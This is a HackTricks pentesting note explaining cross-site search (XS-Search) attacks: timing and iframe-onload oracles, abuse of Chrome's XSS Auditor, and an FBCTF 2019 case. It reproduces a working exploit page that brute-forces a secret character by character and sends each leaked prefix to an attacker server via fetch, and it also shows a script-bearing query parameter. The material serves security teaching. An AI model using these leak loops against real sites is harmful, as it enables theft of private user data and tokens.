hacktricks/pentesting-web/xs-search.md

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# XS-Search
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**The best resource to learn XS-Search is** [**https://xsleaks.dev/**](https://xsleaks.dev)
## XS-Search Time attack
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Basically, you exploit a **CSRF vulnerability** to make a specific user access some **information** that the **victim can access** but you can't. Then, you **check** the **time** it take the request to be responded and depending on that you can know if the content was correctly accessed or not.
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For example, imagine that the **admin of a web** page can **access all** the inside the **webfiles** service and **you only** can access **yours**, and you want to know the **content** of a **file** that starts with the string "_**flag**_".
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There is a **CSRF** vulnerability in the **seach by content** function and you can make the **admin visit any page**. Then, you could make the admin visit a malicious web server (yours) that will **exploit** the **CSRF** and will make the victim **search for** the file that starts with "_**flag**_". The attacker will make a **loop** so it will make the victim **search for every possibility** in: _flagX_. Then, if a character took **more time** that the rest, you can **asume** that it was the **correct** one and you can start a **new loop** with "_flag{X_" until you get the flag.
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That is the **idea** but in the **real world** you need queries that retrive content take **much more time** that the queries that doesn't return anything.
For more information you can read:
* [https://medium.com/@luanherrera/xs-searching-googles-bug-tracker-to-find-out-vulnerable-source-code-50d8135b7549](https://medium.com/@luanherrera/xs-searching-googles-bug-tracker-to-find-out-vulnerable-source-code-50d8135b7549)
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* [https://www.researchgate.net/publication/280738245\_Cross-Site\_Search\_Attacks](https://www.researchgate.net/publication/280738245\_Cross-Site\_Search\_Attacks)
## XS-Search - Iframe
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Suppose that you can **insert** the **page** that has the **secret** content **inside an Iframe**.
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You can **make the victim search** for the file that contains "_**flag**_" using an **Iframe** (exploiting a CSRF like in the prevous situation). Inside the Iframe you know that the _**onload event**_ will be **executed always at least once**. Then, you can **change** the **URL** of the **iframe** but changing only the **content** of the **hash** inside the URL.
For example:
1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2
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If the first URL was **successfully loaded**, then, when **changing** the **hash** part of the URL the **onload** event **won't be triggered** again. But **if** the page had some kind of **error** when **loading**, then, the **onload** event will be **triggered again**.
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Then, you can **distinguish between** a **correctly** loaded page or page that has an **error** when is accessed.
If you can make the page error when the correct content is accessed and make it load correctly when any content is accessed, then you can make a loop to extract all the information without meassuring the time.
### Iframe Chrome XSS Auditor
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Imagine the **same situation as in the Timing attack method** and you also know that the **admin** is using a **Chrome browser** (for example, Chrome-headless) **with Chrome XSS Auditor.**
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Then, you can use **iframes** to make the victim **search** for the page containing "_**flagX**_" (beeing X **any** possible **character**)inside a loop, and you also add to the URL inside the iframes a **fake parameter** that **contains javascript code that will only appear when a valid content is retrived**.
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For example, if when you **search for** the **content **_**"my file"**_ the web server responds with a page that **includes** this **javascript** code:
```
<script>console.log("you found someting");</script>
```
If you send a query like:
```
www.victim.com/search?q=my+file&fake_xss=<script>console.log("you+found+something");<script>
```
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The **Chrome XSS Auditor will block** the page and an **error** will appear.
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Then, you can use Chrome XSS Auditor to **launch an error** when a **valid response is sent** from the victim server. Then, with the **Iframe** trick you can **detect** when you have find a **file** that **contains** "_**flag**_" **and the next valid character**.
For more information: [https://www.youtube.com/watch?v=HcrQy0C-hEA](https://www.youtube.com/watch?v=HcrQy0C-hEA)
### Abusing Chrome XSS Auditor to steal tokens
Using the previous technique (with Chrome XSS Auditor) you can **steal chunks of the code returned to a user** (like tokens for example). For more information: [https://portswigger.net/blog/abusing-chromes-xss-auditor-to-steal-tokens](https://portswigger.net/blog/abusing-chromes-xss-auditor-to-steal-tokens)
Please, notice that you will steal information returned to a user and not any code from the web server.
## Custom Detection
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In the **fbcft2019** the **challenge**: **secret note keeper** was resolved exploiting a XS-Search.
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You could make the **administrator** (a headlessChrome) **visit any page** and there was a **CSRF** vulnerable page that was able to **search files by content**. You also **knew** that the **flag starts** by _**fb{**_ and only the admin had access to it.
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It was also important to notice that when you made a **search**, the results of the seach **appeared inside** an **iframe** (if something was found). And **none iframe appeared** if **anything** was found.
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So, you could make the admin visit your exploit that will be a **loop of every possible charater** inside _fb{X_ inside an iframe. And using:
```
contentWindow.frames.length != 0
```
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You could **check** how **many iframes** where created **inside your iframe**, and **if an**y, then the **character** would be **correct** and you could start extracting the next one.
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This is a code example of this from: [https://sectt.github.io/writeups/FBCTF19/secret\_note\_keeper/README](https://sectt.github.io/writeups/FBCTF19/secret\_note\_keeper/README)
```
<!DOCTYPE html>
<html>
<head>
<title>fbctf secret note keeper</title>
</head>
<body></body>
<script>
var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^`{|}~ ';
var charLen = chars.length;
var ENDPOINT = "http://challenges.fbctf.com:8082/search?query="
var x = document.createElement('iframe');
function search(leak, charCounter) {
var curChar = chars[charCounter];
//Chek if the character is valid
x.setAttribute("src", 'http://challenges.fbctf.com:8082/search?query=' + leak + curChar);
document.body.appendChild(x);
console.log("leak = " + leak + curChar);
//When the page inside the iframe is loaded
x.onload = () => {
//Check the number of iframes inside
if (x.contentWindow.frames.length != 0) {
// If 1 or more, then, the character was valid
fetch('http://myserver/leak?' + escape(leak), {
method: "POST",
mode: "no-cors",
credentials: "include"
});
leak += curChar
}
search(leak, (charCounter + 1) % chars.length);
}
}
function exploit() {
search("fb{", 0);
}
exploit();
</script>
</html>
```
## More information
{% embed url="https://github.com/xsleaks/xsleaks" %}
[https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)